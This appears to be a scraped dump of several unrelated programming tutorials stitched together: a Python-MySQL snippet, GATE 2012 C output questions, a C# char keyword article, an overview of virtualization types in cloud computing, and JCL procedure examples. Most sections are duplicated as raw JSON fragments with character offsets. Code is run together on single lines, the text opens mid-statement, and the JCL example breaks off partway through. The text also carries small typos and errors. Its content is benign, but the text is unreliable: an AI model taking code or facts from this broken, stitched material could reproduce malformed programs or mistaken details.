recordstable = cursor.fetchall() # fetch all columnsprint('\\n Table Data:')for row in table: print(row[0], end=\" \") print(row[1], end=\" \") print(row[2], end=\" \") print(row[3], end=\"\\n\") # closing cursor connectioncursor.close() # closing connection objectcon.close()", "e": 2558, "s": 1729, "text": null }, { "code": null, "e": 2566, "s": 2558, "text": "Output:" }, { "code": null, "e": 2640, "s": 2566, "text": "Note: XAMPP Apache and MySQL should be kept on during the whole process. " }, { "code": null, "e": 2653, "s": 2640, "text": "Python-mySQL" }, { "code": null, "e": 2660, "s": 2653, "text": "Python" }, { "code": null, "e": 2758, "s": 2660, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2803, "s": 2758, "text": "How to iterate through Excel rows in Python?" }, { "code": null, "e": 2853, "s": 2803, "text": "Rotate axis tick labels in Seaborn and Matplotlib" }, { "code": null, "e": 2869, "s": 2853, "text": "Deque in Python" }, { "code": null, "e": 2885, "s": 2869, "text": "Queue in Python" }, { "code": null, "e": 2907, "s": 2885, "text": "Defaultdict in Python" }, { "code": null, "e": 2949, "s": 2907, "text": "Check if element exists in list in Python" }, { "code": null, "e": 2976, "s": 2949, "text": "Python Classes and Objects" }, { "code": null, "e": 2999, "s": 2976, "text": "Bar Plot in Matplotlib" }, { "code": null, "e": 3018, "s": 2999, "text": "reduce() in Python" } ]
C Language | Set 9
30 Jun, 2021 Following questions have been asked in GATE 2012 exam.1. What will be the output of the following C program segment? C char inchar = 'A';switch (inchar){case 'A' : printf ("choice A \n") ;case 'B' : printf ("choice B ") ;case 'C' :case 'D' :case 'E' :default: printf ("No Choice") ;} (A) No choice (B) Choice A (C) Choice A Choice B No choice (D) Program gives no output as it is erroneousAnswer (C) There is no break statement in case ‘A’. If a case is executed and it doesn’t contain break, then all the subsequent cases are executed until a break statement is found. That is why everything inside the switch is printed. Try following program as an exercise. C int main(){ char inchar = 'A'; switch (inchar) { case 'A' : printf ("choice A \n") ; case 'B' : { printf ("choice B") ; break; } case 'C' : case 'D' : case 'E' : default: printf ("No Choice") ; }} 2. Consider the following C program C int a, b, c = 0;void prtFun (void);int main (){ static int a = 1; /* line 1 */ prtFun(); a += 1; prtFun(); printf ( "\n %d %d " , a, b) ;} void prtFun (void){ static int a = 2; /* line 2 */ int b = 1; a += ++b; printf (" \n %d %d " , a, b);} What output will be generated by the given code segment? (A) 3 1 4 1 4 2 (B) 4 2 6 1 6 1 (C) 4 2 6 2 2 0 (D) 3 1 5 2 5 2Answer (C) ‘a’ and ‘b’ are global variable. prtFun() also has ‘a’ and ‘b’ as local variables. The local variables hide the globals (See Scope rules in C). When prtFun() is called first time, the local ‘b’ becomes 2 and local ‘a’ becomes 4. When prtFun() is called second time, same instance of local static ‘a’ is used and a new instance of ‘b’ is created because ‘a’ is static and ‘b’ is non-static. So ‘b’ becomes 2 again and ‘a’ becomes 6. main() also has its own local static variable named ‘a’ that hides the global ‘a’ in main. The printf() statement in main() accesses the local ‘a’ and prints its value. The same printf() statement accesses the global ‘b’ as there is no local variable named ‘b’ in main. Also, the default value of static and global int variables is 0. That is why the printf statement in main() prints 0 as value of b.3. What output will be generated by the given code d\segment if: Line 1 is replaced by “auto int a = 1;” Line 2 is replaced by “register int a = 2;” (A) 3 1 4 1 4 2 (B) 4 2 6 1 6 1 (C) 4 2 6 2 2 0 (D) 4 2 4 2 2 0Answer (D) If we replace line 1 by “auto int a = 1;” and line 2 by “register int a = 2;”, then ‘a’ becomes non-static in prtFun(). The output of first prtFun() remains same. But, the output of second prtFun() call is changed as a new instance of ‘a’ is created in second call. So “4 2” is printed again. Finally, the printf() in main will print “2 0”. Making ‘a’ a register variable won’t change anything in output.Please see GATE Corner for all previous year paper/solutions/explanations, syllabus, important dates, notes, etc.Please write comments if you find any of the answers/explanations incorrect, or you want to share more information about the topics discussed above. simmytarika5 GATE-CS-2012 GATE-CS-C-Language GATE CS MCQ Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Inter Process Communication (IPC) Differences between TCP and UDP Introduction of Operating System - Set 1 Semaphores in Process Synchronization Types of Network Topology Operating Systems | Set 1 Practice questions on Height balanced/AVL Tree Data Structures and Algorithms | Set 22 Data Structures and Algorithms | Set 11 Computer Networks | Set 1
[ { "code": null, "e": 52, "s": 24, "text": "\n30 Jun, 2021" }, { "code": null, "e": 171, "s": 52, "text": "Following questions have been asked in GATE 2012 exam.1. What will be the output of the following C program segment? " }, { "code": null, "e": 173, "s": 171, "text": "C" }, { "code": "char inchar = 'A';switch (inchar){case 'A' : printf (\"choice A \\n\") ;case 'B' : printf (\"choice B \") ;case 'C' :case 'D' :case 'E' :default: printf (\"No Choice\") ;}", "e": 347, "s": 173, "text": null }, { "code": null, "e": 726, "s": 347, "text": "(A) No choice (B) Choice A (C) Choice A Choice B No choice (D) Program gives no output as it is erroneousAnswer (C) There is no break statement in case ‘A’. If a case is executed and it doesn’t contain break, then all the subsequent cases are executed until a break statement is found. That is why everything inside the switch is printed. Try following program as an exercise. " }, { "code": null, "e": 728, "s": 726, "text": "C" }, { "code": "int main(){ char inchar = 'A'; switch (inchar) { case 'A' : printf (\"choice A \\n\") ; case 'B' : { printf (\"choice B\") ; break; } case 'C' : case 'D' : case 'E' : default: printf (\"No Choice\") ; }}", "e": 989, "s": 728, "text": null }, { "code": null, "e": 1027, "s": 989, "text": "2. Consider the following C program " }, { "code": null, "e": 1029, "s": 1027, "text": "C" }, { "code": "int a, b, c = 0;void prtFun (void);int main (){ static int a = 1; /* line 1 */ prtFun(); a += 1; prtFun(); printf ( \"\\n %d %d \" , a, b) ;} void prtFun (void){ static int a = 2; /* line 2 */ int b = 1; a += ++b; printf (\" \\n %d %d \" , a, b);}", "e": 1298, "s": 1029, "text": null }, { "code": null, "e": 3152, "s": 1298, "text": "What output will be generated by the given code segment? (A) 3 1 4 1 4 2 (B) 4 2 6 1 6 1 (C) 4 2 6 2 2 0 (D) 3 1 5 2 5 2Answer (C) ‘a’ and ‘b’ are global variable. prtFun() also has ‘a’ and ‘b’ as local variables. The local variables hide the globals (See Scope rules in C). When prtFun() is called first time, the local ‘b’ becomes 2 and local ‘a’ becomes 4. When prtFun() is called second time, same instance of local static ‘a’ is used and a new instance of ‘b’ is created because ‘a’ is static and ‘b’ is non-static. So ‘b’ becomes 2 again and ‘a’ becomes 6. main() also has its own local static variable named ‘a’ that hides the global ‘a’ in main. The printf() statement in main() accesses the local ‘a’ and prints its value. The same printf() statement accesses the global ‘b’ as there is no local variable named ‘b’ in main. Also, the default value of static and global int variables is 0. That is why the printf statement in main() prints 0 as value of b.3. What output will be generated by the given code d\\segment if: Line 1 is replaced by “auto int a = 1;” Line 2 is replaced by “register int a = 2;” (A) 3 1 4 1 4 2 (B) 4 2 6 1 6 1 (C) 4 2 6 2 2 0 (D) 4 2 4 2 2 0Answer (D) If we replace line 1 by “auto int a = 1;” and line 2 by “register int a = 2;”, then ‘a’ becomes non-static in prtFun(). The output of first prtFun() remains same. But, the output of second prtFun() call is changed as a new instance of ‘a’ is created in second call. So “4 2” is printed again. Finally, the printf() in main will print “2 0”. Making ‘a’ a register variable won’t change anything in output.Please see GATE Corner for all previous year paper/solutions/explanations, syllabus, important dates, notes, etc.Please write comments if you find any of the answers/explanations incorrect, or you want to share more information about the topics discussed above. " }, { "code": null, "e": 3165, "s": 3152, "text": "simmytarika5" }, { "code": null, "e": 3178, "s": 3165, "text": "GATE-CS-2012" }, { "code": null, "e": 3197, "s": 3178, "text": "GATE-CS-C-Language" }, { "code": null, "e": 3205, "s": 3197, "text": "GATE CS" }, { "code": null, "e": 3209, "s": 3205, "text": "MCQ" }, { "code": null, "e": 3307, "s": 3209, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 3341, "s": 3307, "text": "Inter Process Communication (IPC)" }, { "code": null, "e": 3373, "s": 3341, "text": "Differences between TCP and UDP" }, { "code": null, "e": 3414, "s": 3373, "text": "Introduction of Operating System - Set 1" }, { "code": null, "e": 3452, "s": 3414, "text": "Semaphores in Process Synchronization" }, { "code": null, "e": 3478, "s": 3452, "text": "Types of Network Topology" }, { "code": null, "e": 3504, "s": 3478, "text": "Operating Systems | Set 1" }, { "code": null, "e": 3551, "s": 3504, "text": "Practice questions on Height balanced/AVL Tree" }, { "code": null, "e": 3591, "s": 3551, "text": "Data Structures and Algorithms | Set 22" }, { "code": null, "e": 3631, "s": 3591, "text": "Data Structures and Algorithms | Set 11" } ]
char keyword in C#
22 Jun, 2020 Keywords are the words in a language that are used for some internal process or represent some predefined actions. char is a keyword that is used to declare a variable which store a character value from the range of +U0000 to U+FFFF. It is an alias of System.Char. Syntax: char variable_name = value; char keyword occupies 2 bytes (16 bits) in the memory. Example: Input: S Output: chr: S Size of a char variable: 2 Input: G Output: Type of chr: System.Char chr: G Size of a char variable: 2 Example 1: // C# program for char keywordusing System;using System.Text; class GFG { static void Main(string[] args) { // char variable declaration char chr = 'S'; // to print value Console.WriteLine("chr: " + chr); // to print the size of a char Console.WriteLine("Size of a char variable: " + sizeof(char)); }} Output: chr: S Size of a char variable: 2 Example 2: // C# program for char keywordusing System;using System.Text; namespace geeks { class GFG { static void Main(string[] args) { // char variable declaration char chr = 'G'; // to print the type of variable Console.WriteLine("Type of chr: " + chr.GetType()); // to print value Console.WriteLine("chr: " + chr); // to print size of a char Console.WriteLine("Size of a char variable: " + sizeof(char)); // hit ENTER to exit Console.ReadLine(); }}} Output: Type of chr: System.Char chr: G Size of a char variable: 2 Example 3: // C# program for char keywordusing System;using System.Text; class GFG { static void Main(string[] args) { // char variable declaration char chr = 'Geeks'; // to print value Console.WriteLine("chr: " + chr); // to print size of a char Console.WriteLine("Size of a char variable: " + sizeof(char)); }} Error: Too many characters in character literal CSharp-keyword C# Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C# | Multiple inheritance using interfaces Differences Between .NET Core and .NET Framework Extension Method in C# C# | List Class HashSet in C# with Examples C# | .NET Framework (Basic Architecture and Component Stack) Switch Statement in C# Lambda Expressions in C# Partial Classes in C# Hello World in C#
[ { "code": null, "e": 28, "s": 0, "text": "\n22 Jun, 2020" }, { "code": null, "e": 293, "s": 28, "text": "Keywords are the words in a language that are used for some internal process or represent some predefined actions. char is a keyword that is used to declare a variable which store a character value from the range of +U0000 to U+FFFF. It is an alias of System.Char." }, { "code": null, "e": 301, "s": 293, "text": "Syntax:" }, { "code": null, "e": 329, "s": 301, "text": "char variable_name = value;" }, { "code": null, "e": 384, "s": 329, "text": "char keyword occupies 2 bytes (16 bits) in the memory." }, { "code": null, "e": 393, "s": 384, "text": "Example:" }, { "code": null, "e": 549, "s": 393, "text": "Input: S\n\nOutput: chr: S\n Size of a char variable: 2 \n\nInput: G\n\nOutput: Type of chr: System.Char\n chr: G\n Size of a char variable: 2\n" }, { "code": null, "e": 560, "s": 549, "text": "Example 1:" }, { "code": "// C# program for char keywordusing System;using System.Text; class GFG { static void Main(string[] args) { // char variable declaration char chr = 'S'; // to print value Console.WriteLine(\"chr: \" + chr); // to print the size of a char Console.WriteLine(\"Size of a char variable: \" + sizeof(char)); }}", "e": 920, "s": 560, "text": null }, { "code": null, "e": 928, "s": 920, "text": "Output:" }, { "code": null, "e": 963, "s": 928, "text": "chr: S\nSize of a char variable: 2\n" }, { "code": null, "e": 974, "s": 963, "text": "Example 2:" }, { "code": "// C# program for char keywordusing System;using System.Text; namespace geeks { class GFG { static void Main(string[] args) { // char variable declaration char chr = 'G'; // to print the type of variable Console.WriteLine(\"Type of chr: \" + chr.GetType()); // to print value Console.WriteLine(\"chr: \" + chr); // to print size of a char Console.WriteLine(\"Size of a char variable: \" + sizeof(char)); // hit ENTER to exit Console.ReadLine(); }}}", "e": 1508, "s": 974, "text": null }, { "code": null, "e": 1516, "s": 1508, "text": "Output:" }, { "code": null, "e": 1576, "s": 1516, "text": "Type of chr: System.Char\nchr: G\nSize of a char variable: 2\n" }, { "code": null, "e": 1587, "s": 1576, "text": "Example 3:" }, { "code": "// C# program for char keywordusing System;using System.Text; class GFG { static void Main(string[] args) { // char variable declaration char chr = 'Geeks'; // to print value Console.WriteLine(\"chr: \" + chr); // to print size of a char Console.WriteLine(\"Size of a char variable: \" + sizeof(char)); }}", "e": 1947, "s": 1587, "text": null }, { "code": null, "e": 1954, "s": 1947, "text": "Error:" }, { "code": null, "e": 1995, "s": 1954, "text": "Too many characters in character literal" }, { "code": null, "e": 2010, "s": 1995, "text": "CSharp-keyword" }, { "code": null, "e": 2013, "s": 2010, "text": "C#" }, { "code": null, "e": 2111, "s": 2013, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2154, "s": 2111, "text": "C# | Multiple inheritance using interfaces" }, { "code": null, "e": 2203, "s": 2154, "text": "Differences Between .NET Core and .NET Framework" }, { "code": null, "e": 2226, "s": 2203, "text": "Extension Method in C#" }, { "code": null, "e": 2242, "s": 2226, "text": "C# | List Class" }, { "code": null, "e": 2270, "s": 2242, "text": "HashSet in C# with Examples" }, { "code": null, "e": 2331, "s": 2270, "text": "C# | .NET Framework (Basic Architecture and Component Stack)" }, { "code": null, "e": 2354, "s": 2331, "text": "Switch Statement in C#" }, { "code": null, "e": 2379, "s": 2354, "text": "Lambda Expressions in C#" }, { "code": null, "e": 2401, "s": 2379, "text": "Partial Classes in C#" } ]
Virtualization In Cloud Computing and Types
28 Jun, 2022 Virtualization is a technique of how to separate a service from the underlying physical delivery of that service. It is the process of creating a virtual version of something like computer hardware. It was initially developed during the mainframe era. It involves using specialized software to create a virtual or software-created version of a computing resource rather than the actual version of the same resource. With the help of Virtualization, multiple operating systems and applications can run on same machine and its same hardware at the same time, increasing the utilization and flexibility of hardware. In other words, one of the main cost effective, hardware reducing, and energy saving techniques used by cloud providers is virtualization. Virtualization allows to share a single physical instance of a resource or an application among multiple customers and organizations at one time. It does this by assigning a logical name to a physical storage and providing a pointer to that physical resource on demand. The term virtualization is often synonymous with hardware virtualization, which plays a fundamental role in efficiently delivering Infrastructure-as-a-Service (IaaS) solutions for cloud computing. Moreover, virtualization technologies provide a virtual environment for not only executing applications but also for storage, memory, and networking. The machine on which the virtual machine is going to be built is known as Host Machine and that virtual machine is referred as a Guest Machine. BENEFITS OF VIRTUALIZATION 1. More flexible and efficient allocation of resources. 2. Enhance development productivity. 3. It lowers the cost of IT infrastructure. 4. Remote access and rapid scalability. 5. High availability and disaster recovery. 6. Pay peruse of the IT infrastructure on demand. 7. Enables running multiple operating systems. Types of Virtualization: 1.Application Virtualization. 2.Network Virtualization. 3.Desktop Virtualization. 4.Storage Virtualization. 5.Server Virtualization. 6.Data virtualization. 1. Application Virtualization: Application virtualization helps a user to have remote access of an application from a server. The server stores all personal information and other characteristics of the application but can still run on a local workstation through the internet. Example of this would be a user who needs to run two different versions of the same software. Technologies that use application virtualization are hosted applications and packaged applications. 2. Network Virtualization: The ability to run multiple virtual networks with each has a separate control and data plan. It co-exists together on top of one physical network. It can be managed by individual parties that potentially confidential to each other. Network virtualization provides a facility to create and provision virtual networks—logical switches, routers, firewalls, load balancer, Virtual Private Network (VPN), and workload security within days or even in weeks. 3. Desktop Virtualization: Desktop virtualization allows the users’ OS to be remotely stored on a server in the data centre. It allows the user to access their desktop virtually, from any location by a different machine. Users who want specific operating systems other than Windows Server will need to have a virtual desktop. Main benefits of desktop virtualization are user mobility, portability, easy management of software installation, updates, and patches. 4. Storage Virtualization: Storage virtualization is an array of servers that are managed by a virtual storage system. The servers aren’t aware of exactly where their data is stored, and instead function more like worker bees in a hive. It makes managing storage from multiple sources to be managed and utilized as a single repository. storage virtualization software maintains smooth operations, consistent performance and a continuous suite of advanced functions despite changes, break down and differences in the underlying equipment. 5. Server Virtualization: This is a kind of virtualization in which masking of server resources takes place. Here, the central-server(physical server) is divided into multiple different virtual servers by changing the identity number, processors. So, each system can operate its own operating systems in isolate manner. Where each sub-server knows the identity of the central server. It causes an increase in the performance and reduces the operating cost by the deployment of main server resources into a sub-server resource. It’s beneficial in virtual migration, reduce energy consumption, reduce infrastructural cost, etc. 6. Data virtualization: This is the kind of virtualization in which the data is collected from various sources and managed that at a single place without knowing more about the technical information like how data is collected, stored & formatted then arranged that data logically so that its virtual view can be accessed by its interested people and stakeholders, and users through the various cloud services remotely. Many big giant companies are providing their services like Oracle, IBM, At scale, Cdata, etc. It can be used to performing various kind of tasks such as: Data-integration Business-integration Service-oriented architecture data-services Searching organizational data References: http://www.itbriefcase.net/network-server-storage-and-desktop-virtualization https://www.javatpoint.com/virtualization-in-cloud-computing Madhurkant Sharma saurabh123sinha madhav_mohan kalrap615 Cloud-Computing virtualization Misc Misc Misc Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Association Rule OOPs | Object Oriented Design std::unique in C++ Software Engineering | Prototyping Model Java Math min() method with Examples Distributed Database System Find maximum (or minimum) sum of a subarray of size k Set add() method in Java with Examples Advantages and Disadvantages of OOP Zigzag (or diagonal) traversal of Matrix
[ { "code": null, "e": 52, "s": 24, "text": "\n28 Jun, 2022" }, { "code": null, "e": 666, "s": 52, "text": "Virtualization is a technique of how to separate a service from the underlying physical delivery of that service. It is the process of creating a virtual version of something like computer hardware. It was initially developed during the mainframe era. It involves using specialized software to create a virtual or software-created version of a computing resource rather than the actual version of the same resource. With the help of Virtualization, multiple operating systems and applications can run on same machine and its same hardware at the same time, increasing the utilization and flexibility of hardware. " }, { "code": null, "e": 1424, "s": 666, "text": "In other words, one of the main cost effective, hardware reducing, and energy saving techniques used by cloud providers is virtualization. Virtualization allows to share a single physical instance of a resource or an application among multiple customers and organizations at one time. It does this by assigning a logical name to a physical storage and providing a pointer to that physical resource on demand. The term virtualization is often synonymous with hardware virtualization, which plays a fundamental role in efficiently delivering Infrastructure-as-a-Service (IaaS) solutions for cloud computing. Moreover, virtualization technologies provide a virtual environment for not only executing applications but also for storage, memory, and networking. " }, { "code": null, "e": 1569, "s": 1424, "text": "The machine on which the virtual machine is going to be built is known as Host Machine and that virtual machine is referred as a Guest Machine. " }, { "code": null, "e": 1915, "s": 1569, "text": "BENEFITS OF VIRTUALIZATION 1. More flexible and efficient allocation of resources. 2. Enhance development productivity. 3. It lowers the cost of IT infrastructure. 4. Remote access and rapid scalability. 5. High availability and disaster recovery. 6. Pay peruse of the IT infrastructure on demand. 7. Enables running multiple operating systems. " }, { "code": null, "e": 1941, "s": 1915, "text": "Types of Virtualization: " }, { "code": null, "e": 2097, "s": 1941, "text": "1.Application Virtualization.\n2.Network Virtualization.\n3.Desktop Virtualization.\n4.Storage Virtualization.\n5.Server Virtualization.\n6.Data virtualization." }, { "code": null, "e": 2569, "s": 2097, "text": "1. Application Virtualization: Application virtualization helps a user to have remote access of an application from a server. The server stores all personal information and other characteristics of the application but can still run on a local workstation through the internet. Example of this would be a user who needs to run two different versions of the same software. Technologies that use application virtualization are hosted applications and packaged applications. " }, { "code": null, "e": 3049, "s": 2569, "text": "2. Network Virtualization: The ability to run multiple virtual networks with each has a separate control and data plan. It co-exists together on top of one physical network. It can be managed by individual parties that potentially confidential to each other. Network virtualization provides a facility to create and provision virtual networks—logical switches, routers, firewalls, load balancer, Virtual Private Network (VPN), and workload security within days or even in weeks. " }, { "code": null, "e": 3512, "s": 3049, "text": "3. Desktop Virtualization: Desktop virtualization allows the users’ OS to be remotely stored on a server in the data centre. It allows the user to access their desktop virtually, from any location by a different machine. Users who want specific operating systems other than Windows Server will need to have a virtual desktop. Main benefits of desktop virtualization are user mobility, portability, easy management of software installation, updates, and patches. " }, { "code": null, "e": 4051, "s": 3512, "text": "4. Storage Virtualization: Storage virtualization is an array of servers that are managed by a virtual storage system. The servers aren’t aware of exactly where their data is stored, and instead function more like worker bees in a hive. It makes managing storage from multiple sources to be managed and utilized as a single repository. storage virtualization software maintains smooth operations, consistent performance and a continuous suite of advanced functions despite changes, break down and differences in the underlying equipment. " }, { "code": null, "e": 4677, "s": 4051, "text": "5. Server Virtualization: This is a kind of virtualization in which masking of server resources takes place. Here, the central-server(physical server) is divided into multiple different virtual servers by changing the identity number, processors. So, each system can operate its own operating systems in isolate manner. Where each sub-server knows the identity of the central server. It causes an increase in the performance and reduces the operating cost by the deployment of main server resources into a sub-server resource. It’s beneficial in virtual migration, reduce energy consumption, reduce infrastructural cost, etc." }, { "code": null, "e": 5190, "s": 4677, "text": "6. Data virtualization: This is the kind of virtualization in which the data is collected from various sources and managed that at a single place without knowing more about the technical information like how data is collected, stored & formatted then arranged that data logically so that its virtual view can be accessed by its interested people and stakeholders, and users through the various cloud services remotely. Many big giant companies are providing their services like Oracle, IBM, At scale, Cdata, etc." }, { "code": null, "e": 5251, "s": 5190, "text": " It can be used to performing various kind of tasks such as:" }, { "code": null, "e": 5268, "s": 5251, "text": "Data-integration" }, { "code": null, "e": 5289, "s": 5268, "text": "Business-integration" }, { "code": null, "e": 5333, "s": 5289, "text": "Service-oriented architecture data-services" }, { "code": null, "e": 5364, "s": 5333, "text": "Searching organizational data " }, { "code": null, "e": 5515, "s": 5364, "text": "References: http://www.itbriefcase.net/network-server-storage-and-desktop-virtualization https://www.javatpoint.com/virtualization-in-cloud-computing " }, { "code": null, "e": 5533, "s": 5515, "text": "Madhurkant Sharma" }, { "code": null, "e": 5549, "s": 5533, "text": "saurabh123sinha" }, { "code": null, "e": 5562, "s": 5549, "text": "madhav_mohan" }, { "code": null, "e": 5572, "s": 5562, "text": "kalrap615" }, { "code": null, "e": 5588, "s": 5572, "text": "Cloud-Computing" }, { "code": null, "e": 5603, "s": 5588, "text": "virtualization" }, { "code": null, "e": 5608, "s": 5603, "text": "Misc" }, { "code": null, "e": 5613, "s": 5608, "text": "Misc" }, { "code": null, "e": 5618, "s": 5613, "text": "Misc" }, { "code": null, "e": 5716, "s": 5618, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 5733, "s": 5716, "text": "Association Rule" }, { "code": null, "e": 5763, "s": 5733, "text": "OOPs | Object Oriented Design" }, { "code": null, "e": 5782, "s": 5763, "text": "std::unique in C++" }, { "code": null, "e": 5823, "s": 5782, "text": "Software Engineering | Prototyping Model" }, { "code": null, "e": 5860, "s": 5823, "text": "Java Math min() method with Examples" }, { "code": null, "e": 5888, "s": 5860, "text": "Distributed Database System" }, { "code": null, "e": 5942, "s": 5888, "text": "Find maximum (or minimum) sum of a subarray of size k" }, { "code": null, "e": 5981, "s": 5942, "text": "Set add() method in Java with Examples" }, { "code": null, "e": 6017, "s": 5981, "text": "Advantages and Disadvantages of OOP" } ]
JCL - Procedures
The JCL Procedures are set of statements inside a JCL grouped together to perform a particular function. Usually, the fixed part of the JCL is coded in a procedure. The varying part of the Job is coded within the JCL. You can use a procedure to achieve parallel execution of a program using multiple input files. A JCL can be created for each input file, and a single procedure can be called simultaneously by passing the input file name as a symbolic parameter. Following is the basic syntax of a JCL procedure definition: //* //Step-name EXEC procedure name The contents of the procedure are held within the JCL for an instream procedure. The contents are held within a different member of the base library for a cataloged procedure. This chapter is going to explain two types of procedures available in JCL and then finally we will see how we can nest various procedures. When the procedure is coded within the same JCL member, it is called an Instream Procedure. It should start with a PROC statement and end with a PEND statement. //SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID //* //INSTPROC PROC //*START OF PROCEDURE //PROC1 EXEC PGM=SORT //SORTIN DD DSN=&DSNAME,DISP=SHR //SORTOUT DD SYSOUT=*MYINCL //SYSOUT DD SYSOUT=* //SYSIN DD DSN=&DATAC LRECL=80 // PEND //*END OF PROCEDURE //* //STEP1 EXEC INSTPROC,DSNME=MYDATA.URMI.INPUT1, // DATAC=MYDATA.BASE.LIB1(DATA1) //* //STEP2 EXEC INSTPROC,DSNME=MYDATA.URMI.INPUT2 // DATAC=MYDATA.BASE.LIB1(DATA1) //* In the above example, the procedure INSTPROC is called in STEP1 and STEP2 using different input files. The parameters DSNAME and DATAC can be coded with different values while calling the procedure and these are called as symbolic parameters. The varying input to the JCL such as file names, datacards, PARM values, etc., are passed as symbolic parameters to procedures. While coding symbolic parameters, do not use KEYWORDS, PARAMETERS or SUB-PARAMETERS as symbolic names. Example: Do not use TIME=&TIME but yes you can use TIME=&TM and it is assumed as a right way of coding symbolics. User-defined symbolic parameters are called JCL Symbols. There are certain symbols called system symbols, which are used for logon job executions. The only system symbol used in batch jobs by normal users is &SYSUID and this is used in the NOTIFY parameter in the JOB statement. When the procedure is separated out from the JCL and coded in a different data store, it is called a Cataloged Procedure. A PROC statement is not mandatory to be coded in a cataloged procedure. Following is an example of JCL where it's calling CATLPROC procedure: //SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID //* //STEP EXEC CATLPROC,PROG=CATPRC1,DSNME=MYDATA.URMI.INPUT // DATAC=MYDATA.BASE.LIB1(DATA1) Here, the procedure CATLPROC is cataloged in MYCOBOL.BASE.LIB1. PROG,DATAC and DSNAME are passed as symbolic parameters to the procedure CATLPROC. //CATLPROC PROC PROG=,BASELB=MYCOBOL.BASE.LIB1 //* //PROC1 EXEC PGM=&PROG //STEPLIB DD DSN=&BASELB,DISP=SHR //IN1 DD DSN=&DSNAME,DISP=SHR //OUT1 DD SYSOUT=* //SYSOUT DD SYSOUT=* //SYSIN DD DSN=&DATAC //* Within the procedure, the symbolic parameters PROG and BASELB are coded. Please note that the PROG parameter within the procedure is overridden by the value in the JCL and hence PGM takes the value CATPRC1 during execution. Calling a procedure from within a procedure is called a nested procedure. Procedures can be nested up to 15 levels. The nesting can be completely in-stream or cataloged. We cannot code an instream procedure within a cataloged procedure. //SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID //* //SETNM SET DSNM1=INPUT1,DSNM2=OUTPUT1 //INSTPRC1 PROC //* START OF PROCEDURE 1 //STEP1 EXEC PGM=SORT,DISP=SHR //SORTIN DD DSN=&DSNM1,DISP=SHR //SORTOUT DD DSN=&DSNM2,DISP=(,PASS) //SYSOUT DD SYSOUT=* //SYSIN DD DSN=&DATAC //* //STEP2 EXEC PROC=INSTPRC2,DSNM2=MYDATA.URMI.OUTPUT2 // PEND //* END OF PROCEDURE 1 //* //INSTPRC2 PROC //* START OF PROCEDURE 2 //STEP1 EXEC PGM=SORT //SORTIN DD DSN=*.INSTPRC1.STEP1.SORTOUT //SORTOUT DD DSN=&DSNM2,DISP=OLD //SYSOUT DD SYSOUT=* //SYSIN DD DSN=&DATAC // PEND //* END OF PROCEDURE 2 //* //JSTEP1 EXEC INSTPRC1,DSNM1=MYDATA.URMI.INPUT1, // DATAC=MYDATA.BASE.LIB1(DATA1) //* In the above example, the JCL calls the procedure INSTPRC1 in JSTEP1 and procedure INSTPRC2 is being called within the procedure INSTPRC1. Here, the output of INSTPRC1 (SORTOUT) is passed as input (SORTIN) to INSTPRC2. Let's have a look at the below description to understand a little more about the above program: SET parameter initializes DSNM1=INPUT1 and DSNM2=OUTPUT1. SET parameter initializes DSNM1=INPUT1 and DSNM2=OUTPUT1. When INSTPRC1 is called in JSTEP1 of JCL, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=OUTPUT1., i.e., the value initialized in SET statement is reset with the value set in any of the job step/procedures. When INSTPRC1 is called in JSTEP1 of JCL, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=OUTPUT1., i.e., the value initialized in SET statement is reset with the value set in any of the job step/procedures. When INSTPRC2 is called in STEP2 of INSTPRC1, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=MYDATA.URMI.OUTPUT2. When INSTPRC2 is called in STEP2 of INSTPRC1, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=MYDATA.URMI.OUTPUT2.
[ { "code": null, "e": 2216, "s": 1998, "text": "The JCL Procedures are set of statements inside a JCL grouped together to perform a particular function. Usually, the fixed part of the JCL is coded in a procedure. The varying part of the Job is coded within the JCL." }, { "code": null, "e": 2461, "s": 2216, "text": "You can use a procedure to achieve parallel execution of a program using multiple input files. A JCL can be created for each input file, and a single procedure can be called simultaneously by passing the input file name as a symbolic parameter." }, { "code": null, "e": 2522, "s": 2461, "text": "Following is the basic syntax of a JCL procedure definition:" }, { "code": null, "e": 2559, "s": 2522, "text": "//*\n//Step-name EXEC procedure name " }, { "code": null, "e": 2874, "s": 2559, "text": "The contents of the procedure are held within the JCL for an instream procedure. The contents are held within a different member of the base library for a cataloged procedure. This chapter is going to explain two types of procedures available in JCL and then finally we will see how we can nest various procedures." }, { "code": null, "e": 3035, "s": 2874, "text": "When the procedure is coded within the same JCL member, it is called an Instream Procedure. It should start with a PROC statement and end with a PEND statement." }, { "code": null, "e": 3568, "s": 3035, "text": "//SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID\n//*\n//INSTPROC PROC //*START OF PROCEDURE\n//PROC1\t\tEXEC PGM=SORT\n//SORTIN\tDD DSN=&DSNAME,DISP=SHR\n//SORTOUT\tDD SYSOUT=*MYINCL\n//SYSOUT\tDD SYSOUT=*\n//SYSIN\t\tDD DSN=&DATAC LRECL=80\n// PEND //*END OF PROCEDURE\n//*\n//STEP1 EXEC INSTPROC,DSNME=MYDATA.URMI.INPUT1,\n// DATAC=MYDATA.BASE.LIB1(DATA1)\n//*\n//STEP2 EXEC INSTPROC,DSNME=MYDATA.URMI.INPUT2\n// DATAC=MYDATA.BASE.LIB1(DATA1)\n//* " }, { "code": null, "e": 3939, "s": 3568, "text": "In the above example, the procedure INSTPROC is called in STEP1 and STEP2 using different input files. The parameters DSNAME and DATAC can be coded with different values while calling the procedure and these are called as symbolic parameters. The varying input to the JCL such as file names, datacards, PARM values, etc., are passed as symbolic parameters to procedures." 